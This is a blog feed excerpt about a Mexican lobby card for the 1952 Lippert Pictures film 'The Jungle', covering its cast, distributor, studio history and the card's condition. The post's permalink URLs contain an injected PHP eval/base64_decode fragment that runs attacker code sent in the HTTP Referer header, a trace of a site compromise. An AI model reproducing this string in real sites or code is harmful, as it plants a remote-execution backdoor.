Cineartista: Vintage Mexican Movie Art » Lippert Pictures http://cineartista.com Vintage Mexican cinema lobby cards from the 20's through to the 90's Wed, 07 May 2008 08:45:11 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 The Jungle (1952) http://cineartista.com/2008/03/20/the-jungle-1952/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://cineartista.com/2008/03/20/the-jungle-1952/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 20 Mar 2008 07:23:56 +0000 admin http://cineartista.com/?p=5 vengenza_de_la_selva_1.jpg

Spanish title: La Venganza de la Selva (Vengeance of the Forest)
Stars: Rod Cameron, Cesar Romero
Director: William A. Berke
Distributor: Peliculas Agrasanches, S.A. (for Lippert Pictures)

"Two men and a woman fight to survive the fury of the jungle… from which nobody escapes." 

Lippert Pictures were in the business of low budget, big thrill Saturday morning matinee pictures designed to provide inexpensive fare for Robert L. Lippert’s California-based cinema chain, and this was very much one of those. Over time, the company would create over 160 feature films and re-release hundreds more. Lippert went on to join 20th Century Fox in the 60’s, dissolving his company and, eventually, inventing the Multiplex Cinema at his other job as theater mogul.

The artwork on this lobby card is not so impressive, being as it’s primarily a crayon/chalk sketch, or so it seems, which would be par for the course for a cheap film released in Mexico through a local company.

My copy is in surprisingly good shape, with a tiny graze on the bottom and a few pinholes, but otherwise no damage – which is rare for what would have ben a throwaway release.

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